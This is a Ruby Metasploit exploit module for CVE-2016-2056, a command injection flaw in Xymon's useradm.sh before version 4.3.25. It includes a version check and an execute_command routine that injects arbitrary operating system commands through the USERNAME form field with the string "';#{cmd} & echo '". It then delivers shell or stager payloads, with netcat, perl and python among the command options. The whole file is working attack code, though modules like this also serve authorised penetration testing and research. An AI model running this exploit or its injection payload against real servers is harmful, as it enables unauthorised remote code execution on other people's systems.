##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Xymon useradm Command Execution',
        'Description' => %q{
          This module exploits a command injection vulnerability in Xymon
          versions before 4.3.25 which allows authenticated users
          to execute arbitrary operating system commands as the web
          server user.

          When adding a new user to the system via the web interface with
          `useradm.sh`, the user's username and password are passed to
          `htpasswd` in a call to `system()` without validation.

          This module has been tested successfully on Xymon version 4.3.10
          on Debian 6.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Markus Krell', # Discovery
          'bcoles'        # Metasploit
        ],
        'References' => [
          ['CVE', '2016-2056'],
          ['PACKETSTORM', '135758'],
          ['URL', 'http://web.archive.org/web/20240519104648/https://lists.xymon.com/pipermail/xymon/2016-February/042986.html'],
          ['URL', 'https://www.securityfocus.com/archive/1/537522/100/0/threaded'],
          ['URL', 'https://sourceforge.net/p/xymon/code/7892/'],
          ['URL', 'https://www.debian.org/security/2016/dsa-3495']
        ],
        'DisclosureDate' => '2016-02-14',
        'Platform' => %w(unix linux solaris bsd),
        'Targets' => [
          [
            'Unix CMD',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Payload' => {
                'Space' => 2048,
                'BadChars' => "\x00\x0A\x0D",
                'DisableNops' => true,
                'Compat' =>
                {
                  'PayloadType' => 'cmd',
                  'RequiredCmd' => 'generic perl python netcat php'
                }
              }
            }
          ],
          [
            'Linux',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X86, ARCH_X64],
            }
          ],
          [
            'Solaris',
            {
              'Platform' => 'solaris',
              'Arch' => [ARCH_X86]
            }
          ],
          [
            'BSD',
            {
              'Platform' => 'bsd',
              'Arch' => [ARCH_X86, ARCH_X64]
            }
          ]
        ],
        'Privileged' => false,
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
    register_options([
      OptString.new('TARGETURI', [
        true, 'The base path to Xymon secure CGI directory', '/xymon-seccgi/'
      ]),
      OptString.new('USERNAME', [true, 'The username for Xymon']),
      OptString.new('PASSWORD', [true, 'The password for Xymon'])
    ])
  end

  def user
    datastore['USERNAME']
  end

  def pass
    datastore['PASSWORD']
  end

  def check
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'useradm.sh'),
      'authorization' => basic_auth(user, pass)
    })

    unless res
      vprint_status "#{peer} - Connection failed"
      return CheckCode::Unknown('Could not determine the target status')
    end

    if res.code == 401
      vprint_status "#{peer} - Authentication failed"
      return CheckCode::Unknown('Could not determine the target status')
    end

    if res.code == 404
      vprint_status "#{peer} - useradm.sh not found"
      return CheckCode::Safe('The target is not vulnerable')
    end

    unless res.body.include?('Xymon')
      vprint_status "#{peer} - Target is not a Xymon server."
      return CheckCode::Safe('The target is not vulnerable')
    end

    version = res.body.scan(/>Xymon ([\d\.]+)</).flatten.first

    unless version
      vprint_status "#{peer} - Could not determine Xymon version"
      return CheckCode::Detected('Xymon detected but could not determine version')
    end

    vprint_status "#{peer} - Xymon version #{version}"

    if Rex::Version.new(version) >= Rex::Version.new('4.3.25')
      return CheckCode::Safe("Version #{version} is not vulnerable")
    end

    CheckCode::Appears("Version #{version} appears to be vulnerable")
  end

  def execute_command(cmd, opts = {})
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'useradm.sh'),
      'method' => 'POST',
      'authorization' => basic_auth(user, pass),
      'vars_post' => Hash[{
        'USERNAME' => "';#{cmd} & echo '",
        'PASSWORD' => '',
        'SendCreate' => 'Create'
      }.to_a.shuffle]
    }, 5)

    return if session_created?

    unless res
      fail_with(Failure::Unreachable, 'Connection failed')
    end

    if res.code == 401
      fail_with(Failure::NoAccess, 'Authentication failed')
    end

    unless res.code == 500
      fail_with(Failure::Unknown, 'Unexpected reply')
    end

    print_good "#{peer} - Payload sent successfully"

    res
  end

  def exploit
    unless [Exploit::CheckCode::Detected, Exploit::CheckCode::Appears].include?(check)
      fail_with Failure::NotVulnerable, 'Target is not vulnerable'
    end

    if payload.arch.first == 'cmd'
      execute_command(payload.encoded)
    else
      execute_cmdstager(linemax: 1_500)
    end
  end
end
